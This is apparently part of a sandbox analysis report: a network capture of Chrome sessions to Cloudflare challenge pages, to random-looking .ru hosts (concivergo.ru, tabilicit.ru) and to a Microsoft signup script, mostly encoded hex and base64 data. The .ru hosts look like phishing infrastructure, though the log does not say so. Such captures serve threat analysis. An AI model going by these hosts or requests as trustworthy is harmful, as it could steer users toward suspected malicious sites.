2025-01-11 00:12:46 UTC	16384	OUT	Data Raw: 48 7a 59 31 59 56 37 79 47 35 63 44 61 74 4a 33 70 34 79 37 45 76 4f 76 37 33 59 67 62 34 37 72 55 33 49 37 6c 49 4d 37 33 36 59 33 37 5a 55 37 4e 37 65 37 48 55 57 71 37 2d 37 41 37 49 6d 59 4d 37 57 63 57 76 37 70 37 49 37 74 32 58 46 37 49 37 6d 36 59 61 73 44 6d 6a 7a 59 4e 37 30 37 48 55 37 6d 37 6a 37 48 2b 24 57 37 6b 72 33 72 59 36 37 77 4a 75 7a 37 48 37 4f 76 59 76 59 33 36 50 76 49 49 59 77 37 49 37 6a 49 37 45 2d 6d 37 50 36 59 46 63 49 37 33 6b 59 65 37 4d 55 74 71 37 30 63 59 37 50 6d 59 77 37 33 37 50 72 37 4f 37 66 72 74 55 59 64 37 70 55 33 37 59 41 66 57 61 57 52 49 6d 37 74 55 37 6b 59 66 37 66 6f 36 50 62 2d 76 59 65 49 76 37 55 37 33 34 54 56 52 45 7a 49 4e 62 6e 59 55 37 41 69 71 6b 36 6d 37 64 67 35 4e 59 79 50 48 78 39 75 62 77 4e Data Ascii: HzY1YV7yG5cDatJ3p4y7EvOv73Ygb47rU3I7lIM736Y37ZU7N7e7HUWq7-7A7ImYM7WcWv7p7I7t2XF7I7m6YasDmjzYN707HU7m7j7H+$W7kr3rY67wJuz7H7OvYvY36PvIIYw7I7jI7E-m7P6YFcI73kYe7MUtq70cY7PmYw737Pr7O7frtUYd7pU37YAfWaWRIm7tU7kYf7fo6Pb-vYeIv7U734TVREzINbnYU7Aiqk6m7dg5NYyPHx9ubwN
2025-01-11 00:12:46 UTC	2010	OUT	Data Raw: 34 34 4d 30 49 43 67 77 79 59 75 37 59 68 50 76 4d 5a 66 52 36 69 6f 78 4c 63 65 72 74 47 48 56 72 6d 4e 74 38 4a 30 36 4b 6c 44 52 59 5a 55 46 76 37 56 6a 2b 37 5a 63 33 55 67 5a 2b 76 6e 7a 71 59 42 37 6a 46 32 43 31 51 63 4e 4e 68 49 42 79 37 44 55 49 46 62 24 63 42 49 33 56 59 57 36 36 36 56 56 46 63 42 37 63 49 38 76 70 76 45 37 33 6f 63 52 24 42 37 59 6e 47 6d 63 42 55 59 6d 59 56 37 49 67 68 6f 32 51 75 42 37 33 72 46 69 37 2b 76 49 55 43 4f 58 71 30 35 6f 37 55 65 42 49 74 55 62 39 31 5a 76 59 4b 67 64 44 54 31 49 44 79 48 55 74 37 37 54 37 36 31 71 6b 41 62 4d 6a 37 6d 63 49 56 70 2d 57 36 75 49 65 70 43 55 49 63 37 38 75 48 76 70 44 50 63 37 78 76 2b 6b 4a 59 2b 32 78 32 6c 64 57 37 79 37 46 2d 7a 2d 37 4d 37 68 44 44 61 48 31 44 73 37 6a 72 59 Data Ascii: 44M0ICgwyYu7YhPvMZfR6ioxLcertGHVrmNt8J06KlDRYZUFv7Vj+7Zc3UgZ+vnzqYB7jF2C1QcNNhIBy7DUIFb$cBI3VYW666VVFcB7cI8vpvE73ocR$B7YnGmcBUYmYV7Igho2QuB73rFi7+vIUCOXq05o7UeBItUb91ZvYKgdDT1IDyHUt77T761qkAbMj7mcIVp-W6uIepCUIc78uHvpDPc7xv+kJY+2x2ldW7y7F-z-7M7hDDaH1Ds7jrY
2025-01-11 00:12:47 UTC	1347	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:12:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4624 Connection: close cf-chl-out: n2BIiMtO64O+gCfUWLQA+tsfcqzawCtB9VxTMBfeMBOCogzNiqRaeNGXz40A0OhxUbQwOq7VbVBn/KTzaf7uN3qgsKqkoBcFRo1qa9tq8kQ=$wNOidt6BL46z4aqGSW4jzA== cf-chl-out-s: xi6S7V8z+flCkL7mz9gdl3dx9wpAFhOGJcxj8GxO9kq2dQ5AL7N3jZKeqxTMYxh50E7lsitBxf8LmPhJG3CUk49nUNSCND1Suu3wnnvaJrnFsOekRi4+evG9tBVkYFfz6KcDLZVbFwgEyuCiQ5ErayiqW5euR4sJwD2BM7XAaZCX5vNPX6il8KyiIKQksYx+YWgXLGpK2JHbbPbUo3G+U0i1ykdVirBNC8f5cR4doZMRYt7EGPYMLq4ccHk1vSg6hyzf3tsB9NVWCgJSpkZs6e02OK70hJrsLs2B+x4IlMNrRnBtSYKPguL3yVF0HM/JeLFP/YtbO7fTY0HFYYGrZ5Ufg+uS/+d4vGk5u1QoC5SZFwb5ymnMZ6zOnjV6cMuAG9rpesWY7NvT2/cqr3ulo6FL8LSCL8ftNpaZFSCGHOJADQ0AYdWon5pB9hF9DIEdpeCMFN7W1sXukO17WTp6Ucxv9oj4gkXCu/z4cPX4w2j9xuEyldTEXON7A75MNiHKEgpDvbKDHXuUq8FQolj/v/0VjgQapOzNn4nFOw7jpYyp1h0wnLf3uUm9PcmufiaD8SfsFWWFvrg7t/HGJtLAtFwkkb9SU1HxfVLmQV9FCH6pZuzbXsuPg/326A2ovhvjY5/27nQ4GkZlgt/GZl43AOyr4H6v36KbvfdYLi5UqNgo+E+wNVST3UwxY/YMdFYFZ5aCZJueAQKg8ZORiN7hmqFv7zNgwgMBICDbojK/ccC2LQqBIDbN7UJc90x/MlbXdDFRrAJicAqNqjqBmD3BgDALBktWGM+8GrYon8iXBagL/smGx4m1K3pjZqFPODxf4QTYbW8FY5p2lLvu+vds7ijR1Cj8I2eQBAhOSIkyQ80yG593WOTyIqGWMCRO1sgI8W33u7BL+lU+hy9xKi7ewHI4AyIGM2U30ECSo4Nb7v3u6JERK1qyZ/WI3YiEZUmRxmdczV086pdPF8KuxrZtdQeIiOdb2QL/7XdEbRmxXZA=$FecpN [TRUNCATED] Server: cloudflare
2025-01-11 00:12:47 UTC	62	IN	Data Raw: 43 46 2d 52 41 59 3a 20 39 30 30 30 62 32 37 38 39 66 65 65 38 63 34 35 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: CF-RAY: 9000b2789fee8c45-EWRalt-svc: h3=":443"; ma=86400
2025-01-11 00:12:47 UTC	1329	IN	Data Raw: 6d 36 32 7a 76 71 79 55 78 4d 48 41 68 4c 79 41 76 35 6d 6e 75 37 71 75 78 36 79 72 6f 4b 47 64 71 37 4f 4b 70 38 61 62 6b 73 75 6e 71 64 32 66 73 4e 48 66 33 71 61 39 70 62 72 62 79 4d 33 48 79 63 7a 52 79 38 79 71 33 39 50 50 36 63 79 76 35 65 76 64 31 4e 6a 30 41 64 66 79 34 77 58 58 38 75 2f 46 32 75 50 66 32 75 34 44 79 4e 44 76 38 41 6a 64 38 67 34 50 43 63 38 5a 34 77 76 70 36 41 34 4f 33 4e 51 66 41 50 51 66 45 4f 51 61 46 66 6a 72 34 78 6a 39 49 44 41 55 4b 50 30 6a 4b 69 73 4a 4e 77 33 37 48 50 54 33 46 54 59 63 41 44 38 32 4a 67 4e 45 53 6b 49 63 48 54 55 4b 53 77 5a 4b 43 43 51 64 51 43 30 57 46 46 70 5a 52 6a 6b 7a 55 79 64 4e 48 42 51 37 49 44 5a 50 5a 31 67 67 51 53 64 65 56 32 5a 4d 53 7a 6b 78 61 6a 31 72 4d 6b 30 30 56 31 64 76 4e 30 68 Data Ascii: m62zvqyUxMHAhLyAv5mnu7qux6yroKGdq7OKp8abksunqd2fsNHf3qa9pbrbyM3HyczRy8yq39PP6cyv5evd1Nj0Adfy4wXX8u/F2uPf2u4DyNDv8Ajd8g4PCc8Z4wvp6A4O3NQfAPQfEOQaFfjr4xj9IDAUKP0jKisJNw37HPT3FTYcAD82JgNESkIcHTUKSwZKCCQdQC0WFFpZRjkzUydNHBQ7IDZPZ1ggQSdeV2ZMSzkxaj1rMk00V1dvN0h
2025-01-11 00:12:47 UTC	1369	IN	Data Raw: 57 4f 48 70 57 6d 56 61 6f 46 6e 67 49 2b 4a 73 58 4f 70 73 4c 4e 70 6f 62 53 77 70 58 57 61 76 37 75 74 76 6e 6d 2b 6b 6f 4b 46 68 49 4b 66 69 4d 4c 4a 78 6f 61 6a 77 61 7a 54 6b 4b 66 4a 6a 38 53 6d 75 63 37 47 78 64 4b 57 73 4e 6d 76 31 72 54 51 6d 2b 47 5a 78 71 4f 6f 77 73 61 71 70 64 76 78 34 50 50 74 77 39 4f 78 38 37 62 48 39 37 71 32 30 62 32 39 38 63 71 2b 32 63 4c 55 42 66 50 47 34 77 66 32 31 2b 6e 4b 79 77 6f 45 7a 39 50 6a 44 4d 33 75 34 67 72 52 45 78 6e 62 47 78 72 76 49 64 6f 64 42 41 4c 67 2f 52 37 33 35 77 49 57 49 43 4d 52 4d 69 76 70 43 4f 34 32 4e 6a 45 71 38 50 55 34 44 42 67 37 41 43 41 61 51 77 51 59 52 7a 6f 2f 50 6a 4a 4c 49 55 59 68 44 52 41 73 50 41 70 50 4c 45 78 4c 51 6a 51 7a 57 6b 68 4f 56 31 56 4d 58 55 77 69 46 6c 6f 31 Data Ascii: WOHpWmVaoFngI+JsXOpsLNpobSwpXWav7utvnm+koKFhIKfiMLJxoajwazTkKfJj8Smuc7GxdKWsNmv1rTQm+GZxqOowsaqpdvx4PPtw9Ox87bH97q20b298cq+2cLUBfPG4wf21+nKywoEz9PjDM3u4grRExnbGxrvIdodBALg/R735wIWICMRMivpCO42NjEq8PU4DBg7ACAaQwQYRzo/PjJLIUYhDRAsPApPLExLQjQzWkhOV1VMXUwiFlo1
2025-01-11 00:12:47 UTC	1369	IN	Data Raw: 74 74 6a 59 42 35 6a 4b 79 4b 69 48 47 4d 6f 70 69 4a 71 34 39 31 6a 36 35 33 6c 4a 47 63 75 71 36 55 6f 63 47 4a 6d 4d 57 30 72 73 6d 4b 72 62 4c 4f 72 4d 53 65 30 6f 2f 42 6c 4a 72 56 71 37 6e 63 79 4f 47 37 72 4f 4f 31 74 63 4c 48 6d 72 7a 61 79 71 6d 2f 34 4d 2f 43 79 73 6e 6d 33 4d 48 49 36 75 69 76 37 39 6a 57 36 63 38 41 7a 65 76 59 42 41 44 79 35 63 41 49 2f 65 6a 43 39 2b 76 76 45 41 51 49 38 66 45 54 44 50 4c 69 46 41 34 46 36 75 55 50 2f 75 33 74 47 50 62 77 35 43 44 35 38 68 63 6b 42 51 6f 59 46 67 62 6f 41 53 59 62 4e 43 73 70 44 54 67 7a 4d 68 51 4b 46 67 34 55 4d 68 34 5a 49 30 52 41 4c 69 38 37 50 2f 73 6d 4a 30 78 47 49 43 30 61 4c 43 38 65 55 45 41 79 44 30 38 4d 4e 6a 6f 31 55 54 67 37 50 56 67 36 4d 68 78 61 52 45 4e 6f 4d 6c 4e 4c 4e Data Ascii: ttjYB5jKyKiHGMopiJq491j653lJGcuq6UocGJmMW0rsmKrbLOrMSe0o/BlJrVq7ncyOG7rOO1tcLHmrzayqm/4M/Cysnm3MHI6uiv79jW6c8AzevYBADy5cAI/ejC9+vvEAQI8fETDPLiFA4F6uUP/u3tGPbw5CD58hckBQoYFgboASYbNCspDTgzMhQKFg4UMh4ZI0RALi87P/smJ0xGIC0aLC8eUEAyD08MNjo1UTg7PVg6MhxaRENoMlNLN
2025-01-11 00:12:47 UTC	557	IN	Data Raw: 72 6e 5a 61 6f 67 59 71 5a 6c 35 57 73 6b 59 6d 5a 6a 35 2b 33 6f 61 57 67 78 38 61 45 73 35 69 45 78 4b 53 70 71 49 4f 6f 78 4d 65 65 72 38 6e 4c 72 61 75 55 70 61 76 49 72 64 2b 76 77 63 43 30 6f 62 6a 62 71 4c 48 4a 79 64 2f 63 7a 37 33 66 33 4d 66 6a 7a 63 48 65 31 65 36 32 30 62 50 75 75 64 2b 34 39 76 54 67 30 4c 76 41 35 4f 58 6c 34 65 6e 57 44 4f 37 6e 33 51 6a 39 2b 38 73 55 2f 66 4c 6a 46 39 6e 34 44 2f 33 78 2b 2f 33 59 43 76 4c 2b 42 76 58 38 39 51 6f 48 42 66 67 6b 41 52 41 6a 2b 51 63 63 45 53 76 75 46 77 51 4b 4a 53 4d 76 50 44 55 6e 43 79 38 78 46 78 46 45 4a 68 67 34 53 43 63 66 47 53 31 45 49 68 6f 78 53 69 51 75 56 44 63 32 49 6b 64 58 4c 55 38 2b 53 44 30 36 55 31 67 32 4c 6b 39 62 52 57 68 6f 53 6a 78 66 53 57 64 4d 59 32 74 6f 52 6a Data Ascii: rnZaogYqZl5WskYmZj5+3oaWgx8aEs5iExKSpqIOoxMeer8nLrauUpavIrd+vwcC0objbqLHJyd/cz73f3MfjzcHe1e620bPuud+49vTg0LvA5OXl4enWDO7n3Qj9+8sU/fLjF9n4D/3x+/3YCvL+BvX89QoHBfgkARAj+QccESvuFwQKJSMvPDUnCy8xFxFEJhg4SCcfGS1EIhoxSiQuVDc2IkdXLU8+SD06U1g2Lk9bRWhoSjxfSWdMY2toRj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49743	104.18.95.41	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:12:47 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1921554275:1736550971:TnKaT0jV5lW68YgIRWBM59VimwZRNfMAiHkCbpeYMCA/9000b10cedac7ca5/QbZYUCWOFfMfFxI3Mt8G1cwyQLXSnKGTnakASwcg.JA-1736554308-1.1.1.1-VXNA4hLUU9q6KhuXHbb69OtNPBizZZ3ZliWAALbWqfVBqImc5bjGuYSCmFb_NI.u HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:12:47 UTC	375	IN	HTTP/1.1 404 Not Found Date: Sat, 11 Jan 2025 00:12:47 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: mf4nZNfw2/BByw2mcl4grg==$EXd6PKr2HCm0XOm/0U4XSg== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 9000b27d6a018ce3-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 00:12:47 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49744	104.21.6.222	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:12:47 UTC	683	OUT	GET /9298868286056926937588463tlEmiGWfQZUSAOXXRMJCPEKGPDRWWMJLCSMZXLWIHLOVPCGCHROCWY HTTP/1.1 Host: hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bur.tabilicit.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bur.tabilicit.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:12:48 UTC	912	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:12:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JJYpAGWrgliYjwyGzeb66p0h%2FE76QkYT9erlmrrat6EEgbuBir5NYgUiDDNmViZ2WSqD2r6oC4hL5aENjHKV7xbC3s%2FOwwHjm2U%2F8eh4v9Vx%2BTJKVauoFd%2B2oGnVwMsOEkMBtV2FGzuyWNrf6NwZ0cn6bMK3bGc08fIcBf1TNu6fXnueJNjvJq528PnkE%2FkFX540mhZ%2BGICx%2FflqXw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9000b27e3a8c8ca1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1976&min_rtt=1974&rtt_var=744&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1261&delivery_rate=1466599&cwnd=168&unsent_bytes=0&cid=f26e99d2879893c3&ts=568&x=0"
2025-01-11 00:12:48 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-01-11 00:12:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49749	104.21.6.222	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:12:49 UTC	477	OUT	GET /9298868286056926937588463tlEmiGWfQZUSAOXXRMJCPEKGPDRWWMJLCSMZXLWIHLOVPCGCHROCWY HTTP/1.1 Host: hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:12:49 UTC	912	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:12:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s80ffS0evFhWCigZCdn%2B20nGlvNcja%2F1axdPyOZFJacccJJyXkN%2FzZitZ%2F4tDxuqhprV9fMsvhZ%2FI4eblRQCtKkVNUD2nIPUtu%2BtyXs9EuOcu99trTK4uCH0J0LMhMMN5DnTsxPoF8bw5pFNpf8GDKHWvc95BgaBXrsFUWlUCU55f3oTGwmLxiYUjGfgPsyzQZ0Ov2UG1RXles%2F%2Bqw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9000b2884b2041a3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1620&min_rtt=1608&rtt_var=627&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1055&delivery_rate=1710603&cwnd=162&unsent_bytes=0&cid=bb0a35b422c7e064&ts=567&x=0"
2025-01-11 00:12:49 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-01-11 00:12:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49798	152.199.21.175	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:13:42 UTC	605	OUT	GET /shared/5/js/signup-fabric_en_RLki-zAPnyCeesn3sU68Xw2.js HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://signup.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:13:42 UTC	749	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 273267 Cache-Control: public, max-age=31536000 Content-MD5: 4A2B8BHNHBCzox2bgTGApw== Content-Type: application/x-javascript Date: Sat, 11 Jan 2025 00:13:42 GMT Etag: 0x8DD2612F1F0F6DD Last-Modified: Fri, 27 Dec 2024 01:08:16 GMT Server: ECAcc (lhc/7904) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 020af46a-001e-00f1-4341-61d301000000 x-ms-version: 2009-09-19 Content-Length: 908206 Connection: close
2025-01-11 00:13:42 UTC	16383	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 73 69 67 6e 75 70 2d 66 61 62 72 69 63 5f 65 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 6f 2c 69 3d 7b 35 31 33 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 32 39 35 31 29 2c 6f 3d 7b 63 68 69 6c 64 43 6f 6e 74 65 78 74 54 79 70 65 73 3a 21 30 2c 63 6f 6e 74 65 78 74 54 79 70 65 3a 21 30 2c 63 6f 6e 74 65 78 74 54 79 70 65 73 3a 21 30 2c 64 65 66 61 75 6c 74 50 72 6f 70 73 3a 21 30 2c 64 69 73 70 6c 61 79 4e 61 6d 65 3a 21 30 2c 67 65 74 44 65 66 61 75 6c 74 50 72 6f 70 73 3a 21 30 Data Ascii: /! For license information please see signup-fabric_en.js.LICENSE.txt /!function(){var e,t,n,r,o,i={5135:function(e,t,n){"use strict";var r=n(2951),o={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0
2025-01-11 00:13:43 UTC	16383	IN	Data Raw: 61 6c 6c 28 63 2c 66 2c 69 2e 70 72 6f 70 73 2c 73 29 3a 68 29 26 26 28 6d 3f 28 6d 3d 21 31 2c 66 3d 6f 28 7b 7d 2c 66 2c 68 29 29 3a 6f 28 66 2c 68 29 29 7d 63 2e 73 74 61 74 65 3d 66 7d 7d 65 6c 73 65 20 75 3d 6e 75 6c 6c 3b 69 66 28 4f 65 28 65 3d 63 2e 72 65 6e 64 65 72 28 29 2c 6c 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 2e 67 65 74 43 68 69 6c 64 43 6f 6e 74 65 78 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 28 69 3d 6c 2e 63 68 69 6c 64 43 6f 6e 74 65 78 74 54 79 70 65 73 29 29 7b 76 61 72 20 62 3d 63 2e 67 65 74 43 68 69 6c 64 43 6f 6e 74 65 78 74 28 29 3b 66 6f 72 28 76 61 72 20 79 20 69 6e 20 62 29 69 66 28 21 28 79 20 69 6e 20 69 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 61 28 31 30 38 2c 50 28 6c 29 7c 7c 22 55 6e 6b Data Ascii: all(c,f,i.props,s):h)&&(m?(m=!1,f=o({},f,h)):o(f,h))}c.state=f}}else u=null;if(Oe(e=c.render(),l),"function"==typeof c.getChildContext&&"object"===r(i=l.childContextTypes)){var b=c.getChildContext();for(var y in b)if(!(y in i))throw Error(a(108,P(l)\|\|"Unk
2025-01-11 00:13:43 UTC	2	IN	Data Raw: 22 43 Data Ascii: "C
2025-01-11 00:13:43 UTC	16383	IN	Data Raw: 6f 6e 74 65 78 74 2e 43 6f 6e 73 75 6d 65 72 22 3b 63 61 73 65 20 6c 65 3a 72 65 74 75 72 6e 22 43 6f 6e 74 65 78 74 2e 50 72 6f 76 69 64 65 72 22 3b 63 61 73 65 20 75 65 3a 76 61 72 20 74 3d 65 2e 72 65 6e 64 65 72 3b 72 65 74 75 72 6e 20 74 3d 74 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 74 2e 6e 61 6d 65 7c 7c 22 22 2c 65 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 28 22 22 21 3d 3d 74 3f 22 46 6f 72 77 61 72 64 52 65 66 28 22 2b 74 2b 22 29 22 3a 22 46 6f 72 77 61 72 64 52 65 66 22 29 3b 63 61 73 65 20 66 65 3a 72 65 74 75 72 6e 20 79 65 28 65 2e 74 79 70 65 29 3b 63 61 73 65 20 6d 65 3a 72 65 74 75 72 6e 20 79 65 28 65 2e 72 65 6e 64 65 72 29 3b 63 61 73 65 20 67 65 3a 69 66 28 65 3d 31 3d 3d 3d 65 2e 5f 73 74 61 74 75 73 3f 65 2e 5f 72 65 73 75 6c 74 Data Ascii: ontext.Consumer";case le:return"Context.Provider";case ue:var t=e.render;return t=t.displayName\|\|t.name\|\|"",e.displayName\|\|(""!==t?"ForwardRef("+t+")":"ForwardRef");case fe:return ye(e.type);case me:return ye(e.render);case ge:if(e=1===e._status?e._result
2025-01-11 00:13:43 UTC	16383	IN	Data Raw: 79 28 6e 29 29 7b 76 61 72 20 72 3d 30 3d 3d 3d 6e 2e 69 6e 64 65 78 4f 66 28 22 2d 2d 22 29 2c 6f 3d 6f 6e 28 6e 2c 74 5b 6e 5d 2c 72 29 3b 22 66 6c 6f 61 74 22 3d 3d 3d 6e 26 26 28 6e 3d 22 63 73 73 46 6c 6f 61 74 22 29 2c 72 3f 65 2e 73 65 74 50 72 6f 70 65 72 74 79 28 6e 2c 6f 29 3a 65 5b 6e 5d 3d 6f 7d 7d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6e 6e 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 3d 74 2b 65 2e 63 68 61 72 41 74 28 30 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2b 65 2e 73 75 62 73 74 72 69 6e 67 28 31 29 2c 6e 6e 5b 74 5d 3d 6e 6e 5b 65 5d 7d 29 29 7d 29 29 3b 76 61 72 20 6c 6e 3d 69 28 7b 6d 65 6e 75 69 74 65 6d 3a 21 30 7d 2c 7b 61 72 65 Data Ascii: y(n)){var r=0===n.indexOf("--"),o=on(n,t[n],r);"float"===n&&(n="cssFloat"),r?e.setProperty(n,o):e[n]=o}}Object.keys(nn).forEach((function(e){rn.forEach((function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),nn[t]=nn[e]}))}));var ln=i({menuitem:!0},{are
2025-01-11 00:13:43 UTC	16383	IN	Data Raw: 74 69 66 69 65 64 22 21 3d 3d 74 29 72 65 74 75 72 6e 20 74 7d 72 65 74 75 72 6e 22 6b 65 79 70 72 65 73 73 22 3d 3d 3d 65 2e 74 79 70 65 3f 31 33 3d 3d 3d 28 65 3d 72 6f 28 65 29 29 3f 22 45 6e 74 65 72 22 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 3a 22 6b 65 79 64 6f 77 6e 22 3d 3d 3d 65 2e 74 79 70 65 7c 7c 22 6b 65 79 75 70 22 3d 3d 3d 65 2e 74 79 70 65 3f 69 6f 5b 65 2e 6b 65 79 43 6f 64 65 5d 7c 7c 22 55 6e 69 64 65 6e 74 69 66 69 65 64 22 3a 22 22 7d 2c 6c 6f 63 61 74 69 6f 6e 3a 6e 75 6c 6c 2c 63 74 72 6c 4b 65 79 3a 6e 75 6c 6c 2c 73 68 69 66 74 4b 65 79 3a 6e 75 6c 6c 2c 61 6c 74 4b 65 79 3a 6e 75 6c 6c 2c 6d 65 74 61 4b 65 79 3a 6e 75 6c 6c 2c 72 65 70 65 61 74 3a 6e 75 6c 6c 2c 6c 6f 63 61 6c 65 3a 6e 75 6c 6c 2c 67 Data Ascii: tified"!==t)return t}return"keypress"===e.type?13===(e=ro(e))?"Enter":String.fromCharCode(e):"keydown"===e.type\|\|"keyup"===e.type?io[e.keyCode]\|\|"Unidentified":""},location:null,ctrlKey:null,shiftKey:null,altKey:null,metaKey:null,repeat:null,locale:null,g
